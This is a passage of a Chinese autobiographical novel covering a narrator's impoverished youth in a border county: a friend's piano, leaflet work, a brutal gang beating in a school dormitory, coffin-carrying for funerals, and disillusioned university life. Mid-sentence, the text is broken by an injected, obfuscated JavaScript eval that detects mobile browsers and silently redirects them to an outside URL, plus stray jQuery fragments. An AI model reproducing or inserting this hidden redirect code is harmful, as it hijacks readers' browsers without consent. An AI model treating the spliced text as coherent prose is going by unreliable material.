黄站长家在鲁亮县城一个居民小区的三楼。进门时我小心翼翼、蹑手蹑脚,生怕碰坏或弄脏屋里的东西。黄明月热情地把我们迎进客厅,整理好沙发垫子让我们坐下吃水果,我却胆怯地选了墙角一把陈旧的木椅。抬头便看见客厅与阳台衔接处摆着一架钢琴——这是我第一次见到实物钢琴。我好奇地盯着它看了半晌,心里涌起强烈的触摸琴键的冲动,却始终没有那份勇气和自信。
黄明月似乎看穿了我的心思,嫣然一笑,用清澈明亮的眼睛望着我说:“我七岁就开始学钢琴了,要不要我弹一首给你听?”
我不假思索地回答:“好啊!”
一个个小蝌蚪般的音符,随着她洁白如葱的手指轻轻滑过琴键,优美的琴声如天籁般缓缓流淌,悦耳的旋律如云烟萦绕耳畔。在静谧的空气中泛起涟漪,像春日和风中的流云般缥缈,似秋日细雨般清新朦胧,宛如轻舞飞扬的春日童话,又像诗情画意的秋日挽歌。
直到多年后我才知道,那天她弹的是《秋日私语》,由法国两位著名作曲家共同创作。时隔多年,我依旧怀念那优美的旋律、动人的音符,任时光流逝,它们在记忆里从未褪色。
春节前两日,鲁亮县中枢镇农用车检审工作圆满结束,一起参与的临时工也各自忙着回家过年。
我再次回到雷叔的卤肉铺——春节期间买肉的人虽不多,但吃肉的人多,人均消费量也更大。于是我借了雷叔朋友的肉贩摊位,准备在春节卖猪肉。
除夕夜,我独自走在鲁亮县城空旷的街头,看着华灯初上、万家灯火。从透着欢聚气息的窗户里,春节联欢晚会的歌舞声清晰传出,回荡在县城上空。我想起阔别已久的母亲,想起李师傅,想起那些不堪回首的往事,百感交集,潸然泪下,像一只蜷缩在街角、不停呜咽的无家可归的流浪狗。
我之于这座繁华的边陲小城,不过是个异乡客,一个来自深山的乡巴佬。无论它多么繁华喧嚣,永远不会有一盏灯为我点亮,一声鞭炮因我响起,一句节日问候为我送出。
“学历文凭是让我彻底走出深山、脱离贫困的唯一出路,我得想办法重新回校园。”母亲那些谆谆教导、重复过千百遍的话,忽然在我脑海里“嗡”地响起。或许在我所有经历过的岁月里,最耀眼的一天,不是实现吃穿自由的那天,也不是金榜题名的时刻,而是在无助、悲叹、黑暗与绝望中,燃起熊熊火光的那个除夕之夜——那是希望升起的黎明之晨。
暗自下定决心后,剩下的便是为达成目标寻找有效的方法。
正月初七,我鼓起从未有过的勇气,敲响了黄明月家的门。她开门见是我,似乎有些意外,先是一愣,随即笑靥如花,热情地把我请了进去。这一次,我终于有了从未有过的自信,端正地……我默默地坐在了她家的沙发上。
我接过她递来的水杯,直接开门见山地说:“上次你说你有个表哥在县城新开了一家凤凰牌自行车店,他需要经常找人帮忙到各乡镇村社发宣传单,或者把宣传单贴在电线杆和路边的墙壁上。你能不能把我介绍给他?我可以先帮他做半年,等八月份重返学校后,周末还能继续帮忙。”
她有些惊讶,似乎又隐隐为我的决定感到高兴,爽快地答应道:“明天我们一起去找表哥问问,应该没问题。”
第二天早上,我们一起去了她表哥的自行车店。她表哥听完我们的缘由和来意,当场就答应了我的请求,还承诺只要我好好干,等八月份我重返校园时,会额外资助我两百元学费。
发宣传单的工作对我来说相对轻松。早上背一包宣传单,在县城里或者徒步到周边村社,看到有购买力的人就递一张,边发边顺便介绍凤凰牌自行车的优点。碰到愿意驻足、有购买意向的人,还可以进一步讲解购买后赠送一年保修,以及送雨衣、菜篮子等促销活动。晚上我一个人守在店里,自学黄明月帮我凑齐的高中二年级各科教材,困了就拉开简易床睡觉。早上起来把店铺内外打扫干净,等她表哥来接班后,我就出去发宣传单。
半年后,我如愿重返校园,跳过高二直接上了高三,只是不再是原来的那所学校。
人生就是不断拥有、不断失去,不断与人相遇,又不断与人走散的过程。人与人之间,后会无期实在
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334295|199212||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
太容易——一天不见、一周不想、一个月不联系,不知不觉间,一年、几年、几十年就匆匆过去了。我和黄明月后来再也没见过面,只在大一寒假时去过她家找她。开门的是黄明玉,她说姐姐在我重新读书后不久就很少提及我,别人偶尔聊起我时她也不愿听。今年姐姐考上了北京理工大学,寒假在肯德基打工,没回鲁亮。
临走时,黄明玉送我到楼下,意味深长地说:“以后不用再来找我姐姐了,有些人一旦擦肩而过,就是永远的告别。”
黄明月帮助我的那段峥嵘岁月,是我刻骨铭心、逆风飞扬的青春年华,是照进我幽暗心灵的一束阳光。她让我走出了画地为牢的自卑囚笼,跨过了眼界堆砌的认知围墙,拥有了接纳多彩世界的勇气和向强者学习的信心。
90年代中后期的鲁亮县,□□横行、帮派林立。古惑仔用西瓜刀追砍路人的场景每天都能见到,小偷遍布县城每个角落,自行车停在街边五分钟就会不翼而飞。早上刚报警把古惑仔抓进派出所,下午他们就大摇大摆地在街上游荡,甚至报警者还在做笔录时,一抬头就能看到古惑仔先被释放出来。这些人被无罪释放后,常常会带着一群穷凶极恶的亡命之徒,堂而皇之地找到报警者,丧心病狂地施行所谓“正义”的家法。
我就读的高三学校在鲁亮县属于治安较差的,据说红星社、镰刀帮、斧头帮等帮派有不少成员是该校学生,收保护费、霸凌等校园暴力几乎每天都在发生。
横行在各学校间的黑恶势力中,王大燕、杜佳佳等头目最为凶狠歹毒、无恶不作。还有成群结队的帮凶,像非洲草原上以掏肛闻名的“草原二哥”鬣狗一样,盘踞在黑老大身后,专门负责打人砍人。
一个寻常的夜晚,厄运突然降临到我头上。王大燕带着五个帮凶,啃着鸡腿走进我们宿舍,走到我床前厉声问道:“喂,小杂毛,你就是高七十二班那个新来的?”
我疑惑地半坐起身,看到几个室友惊恐地把头缩进被窝,顿时意识到情况不妙,危险即将来临。我支支吾吾、噤若寒蝉地回答:“是。”
“是”字还没说完,王大燕拿着鸡腿的油腻大手就电光石火般猛地扇到我脸上。我被打得眼冒金星,耳朵嗡嗡作响。还没等我缓过神,一个“红发板寸头”迎面一脚飞踹在我脸上,厉声怒骂:“你他妈的小杂碎,来这儿混,也不跟我们燕哥燕老大打声招呼、好好表达敬意,当我们是空气吗?”
我被踹得口鼻鲜血直流,头晕目眩,耳朵“嗡嗡”作响,脑子里一片混乱,本能地抱头缩成一团。另外四个帮凶也不甘示弱,围上来对我拳打脚踢。我心中满是恐惧与愤怒,却怯懦得不敢反抗,甚至连哀嚎和呼救都发不出,只能仓皇四顾,盼着有室友能上前劝阻或去报告老师,菩萨心肠地把我从围殴中解救出来。可他们都在惊慌中事不关己,冷漠地袖手旁观,“智慧”地明哲保身。
昏沉的疼痛与眩晕里,我不知挨了多少拳脚、多少踹拽扇打,也不知被围殴了多久。
“让他下来跪着!”王大燕厉声下令,帮凶们这才气喘吁吁地退开。
贪生怕死、懦弱无能的我,毫无英雄气概与硬汉骨气。满脸鲜血,浑身脚印,我颤颤巍巍挪下床,“扑通”一声跪在地上。“红发板寸头”冲上来连扇了我好几个响亮的耳光,最后手掌痛得缩回衣袖,却仍用衣袖抽打着我肿痛的脸。我被打得东倒西歪,像条死狗般蜷缩在地。
“你他妈的起来跪好!”王大燕再次厉声命令。
我挣扎着摇摇晃晃爬跪起来,天旋地转,口鼻耳朵里的鲜血还在不断往外冒。
“小杂毛,知道这儿的规矩吗?这学校是我‘罩’着的,我说了算!我是这儿的‘扛把子’!”王大燕点燃一支烟,弥勒佛般“慈祥”地笑起来,挑了张干净的床坐下。瑟缩在被窝里的室友战战兢兢,赶紧光着屁股爬起来,跑到墙角给他让座。
“我刚来没几天,不知道。”我胆战心惊地颤声回答。
王大燕朝我一挥手,四个帮凶再次冲上来,对我又是一阵暴风骤雨般的围殴,直到喘得像拉风箱似的,才退到王大燕身后听候差遣。
站在一旁得意洋洋欣赏我被打的“红发板寸头”踮着脚尖狞笑,猛吸一口烟,大半根烟快速燃尽,又用力深呼吸把烟雾吸进肺里。他快步上前,用拇指和食指把燃尽的烟蒂弹在我额头上,双手插兜、丁字步站着,继续踮着脚尖吩咐:“以后每周交十张饭票给燕哥,每周日晚上准时到本栋302宿舍,交给杨涛登记。这是我们给你提供人身安全保护的‘保护费’。”他指了指身旁留黄长发的帮凶杨涛,说完便把肺里的烟雾缓缓吐在我脸上。
我慌忙点头连声称是,头往下晃时头痛欲裂,鼻腔和嘴角的血块成条成块地往下掉。
王大燕把烟蒂扔在脚下踩灭,用“婴儿般纯真”的微笑看着我:“唱首歌欢送我们!”
我茫然无措,不知如何是好。一旁的“红发板寸头”狞笑着帮腔:“你他妈的唱《东方红》啊!”
我强忍着剧痛,从干涩的喉咙里挤出近似哭嚎的声调:“东方红,太阳升,中国出了个……”
“红发板寸头”拿起一个塑料脸盆快步上前,“啪”的一声脆响,脸盆重重砸在我头上,碎裂成数十块四处飞溅。他厉声呵斥:“你他妈的唱错了!应该是中国出了个王大燕!重来!”
我再次用哭嚎般的声音唱道:“东方红,太阳升,中国出了个王大燕,他为学校谋幸福……”
王大燕鼓着掌高兴地起身,往地上吐了一口泛黄的浓痰,用脚搓了搓,清了清嗓子说:“好!那就这样。以后每周都要记住按规矩……”条款办事,否则下次我们就得带刀来保护你了。”
我像一摊烂泥瘫在坚硬的地板上,恍惚间想起小时候——不管我在外面和别人发生任何问题、矛盾或纠纷,无论我是对是错、有理无理、是否因此受伤,父母总是不问是非,揍我一顿就万事大吉。不管外面的人怎么辱骂或拳打脚踢我,只要我回过嘴或还过手,他们便不问缘由,揍我一顿来息事宁人。要是有其他孩子的父母找上门,他们更是不由分说,一律认定全是我的错。总之,我不能在外面给他们惹任何麻烦、添任何困扰或造成任何损失,在家也不能让他们听到关于我的坏消息或不当言论。我从小在“对外宽厚仁慈,对内严苛严厉”的家庭环境中长大,自然而然养成了不能反抗、不懂反抗、不敢反抗、不知反抗的性格,像绵羊般温顺得任人宰割。也从小就深刻体会到:人要活下去,遇到任何不公都得逆来顺受,任何不平都得委曲求全,任何凌辱都得窝囊畏缩,任何压迫都得忍气吞声。
在昏沉模糊的意识里,我仿佛又看见小时候的夏天,在野外抓青蛙吃的场景:小青蛙被我活活从中间撕开,我把它的两条后腿放在柴火上烤熟了吃。吃完蛙腿回头时,还能看到青蛙的下颚在不停跳动,眼睛也在不断眨动。直到现在,我才终于切身体会到那些年被我残害的小青蛙,在绝望无助、不知危险、不懂逃跑中被无情残忍杀害时,是多么痛苦煎熬,却无法反抗、无力反抗,更无从反抗。
有时,无论是动物还是人类,一旦逆来顺受、忍气吞声的委曲求全成了天经地义的习惯,迎接他们的命运往往就是奴役与悲剧。
那些年被我残害的小青蛙们!对不起!请在天堂接受我迟来的歉意与忏悔。直到我像你们一样被人踩在脚下肆意践踏与蹂躏时,我才明白尊重人格的可敬,以及给予生命尊严的可贵。
据说后来王大燕找人代考,考上了云南香格里拉师范学院,毕业后去了云南西双版纳傣族自治州,成了一名人民教师。2001年,杜佳佳因跨地盘、跨区域收保护费,被另一个更狠的黑老大砍死,横尸街头。
高三不补课、正常放假的每个周末,我都会去黄明月表哥家的自行车店取宣传单,也总会习惯性地朝黄明月家的方向望一眼,希望能看到她玲珑的身影,可惜一次都没能如愿。
临近高三寒假的一个周末晚上,我经过李师傅曾经的石材厂大门口时,看见厂内那熟悉的石屋里竟然亮着灯。我好奇地走近想一探究竟,原来是以前石材厂的工友——也是我的大师哥,正独自一人在石屋里“咕噜咕噜”地抽水烟筒。我走进石屋和他聊了起来,他说自己又回到这里雕刻墓碑,还和几个风水先生合作,为逝者提供从雕刻墓碑、出殡、抬棺材、下葬到装修墓地的丧葬产业链一条龙服务。
他饶有兴致地看着我,问道:“你想不想加入我们一起做丧葬一条龙服务?收入很可观,也不算劳累。”他的眼神里带着询问与期待,又快速补充道:“出殡抬棺材一天36元,一口棺材8个人抬,要是距离太远,可以分成两班16个人轮换着抬。”
听到一天能有36元的工时费,我心里立刻涌起一阵狂喜,不假思索地激动回答:“什么时候有逝者出殡?我可以专门负责抬棺材,只要有活干,就算不放假、哪怕逃课我也去。”
抬棺材其实是钱多活少、赚钱相对轻松的途径之一,只是偶尔有些逝者家属没把棺材盖板盖严实,遗体又在家里放得太久,抬棺材时会隐隐飘出一股难闻的尸臭味,让人有些难以接受。
鲁亮县城及附近居民的传统葬礼,其实大多是为活着的人准备的——活着的人需要一个宣泄悲伤、缅怀逝者的场所,或许还需要一个向他人展示孝道与慈悲的舞台。
当我们把棺材抬到事先选好的墓地时,墓坑早已挖好,嵌墓石、水泥砂石、鱼碗、大米等也都一一备齐,逝者的黑白半身像也端正地摆放在墓坑正前方。
逝者家属在墓坑周围点亮蜡烛、燃起香火。手持写有繁体“引”字的白纸帖、身穿黑白长袍的风水先生,开始在人群中穿梭忙碌。他先将一个印有龙凤呈祥图案的饭碗稳稳嵌入墓坑底部,倒入清水,放入几条小鱼,再往墓坑里撒下三勺大米。接着,风水先生站在棺材旁默念一阵咒语,吩咐家属将捆在棺材盖上、一路随棺抬至墓地的两只公鸡,一只放生任其在墓坑啄米,另一只当场宰杀,鸡血沿着墓坑泼洒一圈。随后,众人往墓坑焚烧纸钱冥币、滚龙、吊钱等物,家属们按长幼顺序排列,一同向墓坑磕头叩首,心中祈祷逝者在阴曹地府能收到这些金银纸钱与用具,永享荣华富贵。
庄重的哀乐骤然响起,红衣锣夫、黄衣鼓手随即卖力敲打起来;头扎红布条的唢呐手扯开嗓门,高亢嘹亮地吹奏着,仿佛无需换气。穿黑白长袍的风水先生摇起铜铃,在喧嚣声中不停颤动嘴唇,似在默念超度经文。待他摇铃的手一停,我们便迅速解开棺材上的绳索与抬杠,七手八脚将棺材沉入新挖的墓坑。
悲痛欲绝的家属中,有的披头散发,嚎啕大哭,一把鼻涕一把眼泪,哭嚎声绵绵不绝;有的边哽咽边诉说,用模糊的话音、缠绵的悼念、断续的语句,颂扬逝者生前的高尚品德或奋斗时的艰难困苦;有的哀痛至极,躺倒在墓坑旁,不停以头撞地。围观妇女见状,连忙上前劝阻:“你要好好活着啊!”并说着“我们都知道你多孝顺、多敬爱老人,大家都要向你学习”之类的安慰话。
尖锐高亢的唢呐声再度响起,鞭炮在乐声中没完没了地炸响。风水先生又摇起铜铃,翕动嘴唇,似又默念起超度经文。家属们抽噎着往墓坑的棺材盖上撒新鲜泥土。鞭炮的火药味、公鸡的血腥味、棺材的松香味、隐约的尸臭味、活人身上的汗臭味交织在一起,弥漫在几十平方米的墓地上。
撒完泥土的家属哽咽着慢慢退去后,我们用砖石砂浆在棺材正上方堆砌起拱形空心墓穴。墓穴浇筑完成,便将雕刻好的墓碑竖立在墓前,最后用锄铲往拱形墓穴上堆土,直到一座高大崭新的墓地耸立地面。
完成所有流程时,天色往往已晚,将近黄昏。在风水先生的铜铃声与诵经声中,送葬的家属再次磕头作揖,逐一离开墓地。我们也在铜铃声与咒语声中,将抬棺的抬棍留在墓地右侧,拍净身上尘土,踏着夕阳匆匆离去。七天后,我们还需取下一件随身物品,让风水先生去墓地召回我们的“魂魄”。
每一次帮人完成葬礼,我脑海里总会浮现送葬哥哥和爷爷奶奶时的画面。我总忍不住追问:“人与人活着时便被分为三六九等,差距悬殊。为什么我的哥哥、爷爷奶奶,还有家乡父老,死后与鲁亮县城及附近的人,差距依然这么大?”
从高三寒假到高考前的不到半年里,我前后抬过不下二十口棺材,尤其天寒地冻的腊月,客户最多。
雕刻过的墓碑、抬过的棺材、装修过的墓地、见过的逝者家属,对我此后的生命观、人生观、世界观产生了极为深远的影响。
逝者离去,我们不知他在死后世界是喜是乐,却总说可悲可叹;新生命诞生,我们不知他未来人生是悲是苦,却总说可喜可贺。
有些逝者真实灿烂地活了两万多天,令人敬重动容;有些逝者仅活了一天,却重复了两万多天,令人同情怜悯。
我们都是战胜过亿万精子、幸运存活至今的最强者。受精用了一天,怀胎用了十月,熟悉父母用了三年,学习与认知用了二十年。可我们中的绝大多数人,终其一生,最后仍然没有想明白自己究竟为何而活,活着又该如何度过。活着,究竟是全然属于自己的一种感受,还是取决于他人的诸多看法?
6. 第 6 章
我憧憬中的大学校园,是学子们辛勤耕耘的沃土,大学亦是人生中阳光明媚、活力迸发的青春时节。活泼可爱的女生宛如春日的蝴蝶,身着斑斓霓裳,飞舞在校园的晴空下,伴着悠扬的吉他旋律轻舞飞扬;才华横溢的男生则像吟游诗人,时刻洋溢着蓬勃朝气与浪漫情怀,夜幕降临时弹起吉他,唱着动人歌谣,尽情挥洒悸动的青春时光。
阳光帅气的男生与清纯靓丽的女生,恰似春日的嫩草,将整个校园染成一片碧绿,孕育着无穷的希望、无限的可能与广阔的未来。无论风雪寒冬还是炎热酷夏,都无法抑制学子们心中连绵的诗情画意与缤纷梦幻。同窗的友情岁月,更如人生路上永恒的暖阳,永远散发着真挚的感动与温暖。
1999年的秋天,一个晚霞初升的黄昏,我从昆明拥挤的79路公交车终点站走下,踏着金色的夕阳,走进了人流如织的云南现代农业大学校园。
时光流转,随着我对大学的认知逐渐加深、体验与感受愈发清晰,慢慢发现现实中的校园,在许多方面与我曾经的想象大相径庭。
很多人通过高考进入大学后,一切都发生了翻天覆地的变化:往昔的豪情壮志烟消云散,为梦想奋斗的热情不复存在,积极向上的精气神也荡然无存。取而代之的是浑浑噩噩、得过且过,平时基本处于休闲的“养老度假”状态,直到考前数天才骤然紧张,挑灯夜战应付考试。不少老师也以“过来人”的姿态,心知肚明地在考前为学生勾画“考试重点”,尽显“关爱”。这样仅仅为考试而考试、为顺利拿到毕业证而考试的状态,一直持续到毕业前夕——再写一篇或抄袭剽窃、或臆造编造,甚至连自己都读不懂、理解不了的毕业论文。论文指导老师则理所当然地心领神会,默契地通过了论文,最终皆大欢喜,所有人都如愿拿到了那张象征光荣与能力的毕业证书。
在初高中半封闭式管理下,一切由老师和家长替学生做主,那种近乎“监狱式”的强行压榨教育,让被压抑太久的自由本性、被压迫到极限的精神意志,在大多数人进入大学后彻底爆发——他们瞬间变得放纵堕落:有的夜以继日玩网络游戏、通宵追剧,白天逃课昏睡;有的则认为大学就该不停地追求女生,校园里随处可见手拉手、肩并肩的情侣,周边宾馆每晚爆满,出租房更是一房难求。这场景恰似赵忠祥在《动物世界》非洲草原画面中的开场解说:“春天来了,万物复苏,又到了动物们繁殖的季节,草原上的空气中弥漫着荷尔蒙的气息!”
曾经教过我的许多高中老师也常说:“先苦后甜,初高中好好拼一拼,上大学就自由了、轻松了、好玩了、解脱了。”
这种看法,可能让很多初高中同学潜意识里根深蒂固地认为:大学是用来玩的、享受的、谈恋爱的、放纵自己的。为了将来快乐的大学生活,初高中苦一点、累一点也值得。很多人把大学当成努力学习的终点,以为只要考上大学,便前途无忧、黄金满地,往后人生一片辉煌坦途。殊不知,大学只是人生的新起点,文凭不过是一张证明教育程度或经历的纸,仅此而已,与做事能力、素质、道德、独立思考等并不成正比。
我第一次认识湖南洪州市宋人神集团的宋二海董事长,是在宋人神集团的内部报纸上。
2002年4月,宋人神集团下属的云南省曲靖市神牛饲料公司总经理周进,亲自来到云南现代农业大学举行专场宣讲招聘会。睡在我下铺的“杨状态”同学去了招聘会现场,顺手带回宿舍一张宋人神集团的报纸。
报纸头版的前半部分,印着宋二海英姿飒爽、指挥若定的照片,还有省市相关领导亲切接见他的合影,以及一些他伏案工作的日常照片;后半部分则是他对宋人神集团战略战术的最新部署方针,还有一些激荡人心、催人奋进的伟大思想与响亮口号。
报纸的报眼位置印有宋二海伟岸的半身肖像,下方用醒目红色粗体字标注着“宋人神集团董事长兼总裁”“□□政府特殊津贴专家”“中国人民大学客座教授”“中国饲料工业学会副会长”“全国五一劳动奖章获得者”等诸多荣誉头衔。
报眉处用金色粗体字写着“国家级农业产业化重点龙头企业”“中国驰名商标”“美国奥特八公司铂金级客户”“中国农业银行5A级信用企业”等荣誉认证。
中缝记录着宋人神集团的五大产业,以及未来的发展目标与事业愿景,尤其是那份充满人性光辉与人文主义情怀的宏伟具体行动目标:5年内,在全国建立100个“神牛牌”饲料养猪示范县、3000个“神牛牌”饲料养猪示范村、5万个“神牛牌”饲料养猪示范户,并捐赠新建100所希望小学。
当时,宋人神集团年营业额近五亿元,主营鸡猪饲料、种苗、动保、屠宰、食品深加工五大产业,实行农业产业化一条龙经营,三十多个分公司遍及大江南北,由宋二海先生于1988年创立。
“杨状态”真名叫杨大伟,是睡在我下铺的室友。大学一年级刚入学不久,他就看上了我们班的一位女生,情窦初开的他激情四射,用最老派的方式写了一封情话绵绵的情书送给对方。可过了好几天,那位女生既没回复也没暗示。但他并未放弃,在几个室友的怂恿鼓励下,又写了几封更肉麻的情书,都是室友们自告奋勇亲自送达,结果却依然石沉大海、杳无音信。后来有一天,那位女生愤然来到宿舍门口,把一沓情书甩了进来。
“爱要越挫越勇,爱要肯定执着。每一个单身的人得看透,相爱就别怕伤痛。”室友们为此操碎了心,用《单身情歌》的歌词鼓励杨大伟“在哪儿跌倒就在哪儿站起来”,说追女生要越挫越勇、再接再厉,还出谋献策劝他“天涯何处无芳草,何必单恋一枝花”。于是,杨大伟重新选了个追求目标,又接连给另一位女生写了几封更火辣肉麻的情书。室友们自然义不容辞、快马加鞭,争相把情书送到目标女生手中,可“一沓情书被扔回宿舍”的悲剧再次上演,让他痛彻心扉、颜面扫地。
为此,杨大伟失落万分、备受打击,躺在床上几天不起,每天只喝水不吃饭,像要成仙成佛似的。后来我们就给他取了“杨状态”这个外号。
杨状态是云南丽江市永胜县人,从不逃课缺席,也从不迟到早退。老师布置的作业,他总是勤勤恳恳、保质保量地按时完成,是无数家长口中“别人家的听话孩子”。每天上午下课回宿舍见到我,他总会幸灾乐祸地说:“今天老师又点名了!你又缺席成功,被扣5分!这科满分100分,就算你考100分,缺席这么多次也得被扣成负分!”说完便伴着“哈哈”的大笑声,端着碗筷朝食堂扬长而去。
我总是满面愁容却又带着点不屑地回答:“不用你操心,虱子多了不怕痒!车到山前必有路!”
他整天像老黄牛一样兢兢业业、默不作声,埋头认真读书,但偶尔也会用脚向上踢着床板,对我大声发飙:“喂!你弹吉他的声音能不能小点?全是‘哐啷哐啷’的噪声,我耳朵都听起茧子了!”
每到临近考试的前几天,我经常找他借教材或上课笔记——我自己的教材早不知丢哪儿去了,更别说上课笔记,甚至有三个学期没交书费,压根儿没有教材。
那时我们宿舍住8个人,每天晚上睡前的主要话题几乎都围绕女生展开:比如怎么追到女生,为有目标的室友出谋划策;有时会给班里女生的颜值排名;有时还会发掘、参考、分析隔壁动物医学班及其他班的女生,伺机跨班行动。常常从晚上十点关灯聊到凌晨,所有室友都参与讨论,踊跃发言,议论纷纷,气氛热烈而激荡,恰似春夜里此起彼伏的猫叫。大家轮流分享追女生的心得,探索全新的追求方式,讨论让关系“水到渠成”的手段,总盼着能整理出一套最行之有效的方案。
其实追女生是一门极具技术含量的社交活动,一场感性远胜于理性、充满起承转合的浪漫游戏。财气与帅气是“必杀技”,脸皮厚、口才好、嘴甜会夸是基本功,而老实与才华不过是锦上添花的点缀。在传统世俗的道德框架下,那些含蓄内敛的“闷骚”派或自诩“高尚”的人,往往只能白天写着表白的情书、捧着示爱的玫瑰,夜里却在校门口的酒馆痛哭,在漆黑的角落呕吐不止。
我们动物科学班有个不成文的规矩:只要哪个男生确认追到了女朋友,就得请客,风风光光地到校门口的“红光饭店”摆上一桌或几桌。而屡遭挫折、长时间单身的男生,则热衷于去歌舞厅,找陌生女生跳交际舞,牵牵手、搂搂腰,聊解寂寞。
我们宿舍有个叫李英俊的室友,是追女生的“一流高手”!漂亮的女朋友换了一任又一任,整天琢磨的都是如何甩掉现任、避开前任,顺利“分手上岸”。他常跟我们抱怨:“女生就像牛皮糖,一不小心就粘在手上、砸在手里,分手比追到手还难。”
李英俊个头不高,却眉清目秀、文质彬彬,能说会道。他穿衣十分讲究得体,时刻保持干净整洁。每天早上,他都要对着镜子梳洗打扮十几分钟:“三七分”的乌黑头发,用精致的梳子反复梳得油亮,再用弹力带固定,喷上定型的摩丝啫喱。整理着装时,他表情严肃庄重,每颗纽扣都扣得一丝不苟,每条拉链都拉得仔仔细细。一切就绪后,还要再对着镜子从上到下检查一遍,才踏上锃亮的皮鞋,昂首挺胸、气宇轩昂地微笑着走向教学楼。
这套着装整理的流程,在我毕业工作后的许多年里,无论是拜见重要人物,还是会见重要客户,我都会仔细回忆,学着他的步骤认真打理自己。哪怕没有摩丝啫喱,用自来水替代也要严格执行,只是因为头发短,才省去了那根固定发型的弹力带。
我们班的班长兼动科院学生会主席张云龙,也常写着动人的情书、捧着示爱的玫瑰,却整天唱着悲伤的《单身情歌》。他几次都准备去“红光饭店”摆酒,可每次都差那么“一点点”——每个被他追求过的女生,最后都会诚恳地说:“你是个好人,只是我们不太适合。”
“你是个好人,只是我们不太适合”,仿佛成了女生拒绝追求的标准说辞,也是最友善的谢绝方式。“只是”与“但是”,或许是汉字里最具杀伤力的两个词:一旦它们出现,就意味着结果、结论或剧情将发生180度反转,此前的话语大多成了铺垫,后面才是真正的意图,或是最后的“致命一击”。
从初二起,我就不太喜欢听老师在教室里唠唠叨叨地讲课,也不喜欢背诵枯燥的唐诗宋词和之乎者也,更不喜欢海量的课外作业。我也受不了在封闭的教室里连续静坐几小时,待久了就会头晕目眩、耳鸣口渴。有时甚至觉得老师的讲课声像粗糙的金属摩擦般尖锐刺耳,让我坐立不安。我常怀疑自己是不是得了“老师恐惧症”或其他精神类疾病!但我之所以仍坚持上学,主要有两个原因:一是文凭是走出大山的途径之一,后来也确实靠读书彻底改变了贫穷的命运;二是只有按部就班地上学,才能保留学籍学历,正常参加升学考试——而升学考试是通往向更高年级或更高学府迈进的唯一通道。
进入大学后,我变本加厉,愈发我行我素,基本从不踏足课堂。我们班的绝大多数授课老师,我连一次面都未曾见过,更遑论知晓他们的姓名。
有时早上8:30或9点钟醒来,我独自站在寂静的宿舍门口,望着空荡荡的走廊尽头,偶尔会涌上一阵愧疚与恐慌,心底涌起强烈的上课冲动。可每当我下定决心走下宿舍楼,站在那个于我而言非比寻常、令人不寒而栗的路口,看着通往教学楼的那条路,恐惧便瞬间攫住了我!犹豫挣扎、忐忑不安,久久不敢往前迈出一步。那是一条总让我觉得没有尽头的路,方向错误的路,磨灭想象力的路,让我呼吸困难的路,让我迷茫彷徨的路,让我痛苦迷失的路,让我身不由己的路。
如果仅仅是为了学习知识,我觉得自己从初中起就该离开校园,或许学习效果会更好,人生也能少走许多弯路,不至于浪费那么多时间成本,虚度那么多年的青春光阴。尽管我无数次想过辍学或退学,却始终不敢反抗,不能反抗,无力反抗,也无从反抗。我没有微软创始人比尔·盖茨和苹果创始人乔布斯所处的那种包容的社会环境,没有他们那般的决心与技术,更没有他们挑战权威、颠覆传统、突破规则的信念与勇气。无论从个人还是社会层面,我都需要那张代表教育程度、文化素质,或是承载荣耀地位、虚荣面子,或是作为求职敲门砖、被社会高度认可的毕业证书。
大学时期最令我印象深刻、至今记忆犹新的,是考试作弊。一到考试,各种作弊抄袭手段便花样百出、各显神通。许多人把难以记住的重点考点、定律公式、标准论述与学术概念等,有的抄在纸条上,再折成方便翻阅的扇形藏进衣兜;有的根据考号和考场,提前算好考试时的座位号,将内容抄在课桌上,考试时只需吐一口热气,字迹便清晰可见;有的抄在较厚的纸片上,压在屁股下或塞进课桌缝隙;有的则用大头针把纸条固定在衣服内衬里,考试时穿上宽大臃肿的衣服,像虾米般佝偻着腰;还有的在前后左右的座位间分工协作,你藏这段、我藏那篇,各自抄袭完后再相互交换纸条。
更令我难以理解、难以置信的是,四年本科毕业后考上研究生,接着读博留校任教,或到其他高校、科研机构工作的,大部分都是当初考试作弊最厉害、手段最丰富、经验最老到的那一小撮人。
令我感到异常难受,甚至留下心理阴影的,是每个周日晚上的“思想政治学习”班会。尽管已时隔多年,如今回想起来,我仍会鸡皮疙瘩满身,头皮发麻,不寒而栗。
在宿舍舍长赶鸭子上架般的督促下,我垂着头,像虾米一样佝偻着腰,口中叼着早上抽剩或路边捡来的半截香烟,企图用尼古丁压制焦虑不安的情绪,像被押赴刑场般胆战心惊、异常紧张,用脚后跟蹭着地,一步一步缓慢往前挪,总是最后一个磨蹭进教室。
早已点名完毕的班长张云龙,有些不耐烦地斜睨着我,怒气冲冲地大声说:“你怎么总是迟到?下次再迟到就算你缺席!”有时还会被学习委员和纪律委员特别点名,让我站在讲台上,像行刑犯“游街示众”一般。在所有同学利刃般的目光注视下,我接受着持续不断的轮番批评:“怎么总是你拖大家后腿啊!刚才学生会办公室的人来点名,是来给全班打综合测评分的!就差你!就差你一个人!知不知道,你让我们班的综合测评又被扣了一分!你就是我们班的耻辱!”
我在焦灼的诚惶诚恐中坐到最后一排,思想政治学习的先进分子们依次登台发言。我像只垂死的瘟公鸡,低低地垂着头,眼神迷离飘忽,呆呆望着窗外自由走过的路人。大家集体鼓掌时,我在发愣;大家静心听课时,我反而在鼓掌。我的耳朵仿佛失去了听觉,眼睛也失去了视觉,听不到讲课人的谆谆教诲,也看不见同学们的言行举止。我始终蔫蔫地耷拉着脑袋,下巴垂到胸口,像是在熟睡中做着迷人的美梦,又像是在迷糊里沉思着极为高深的哲理。
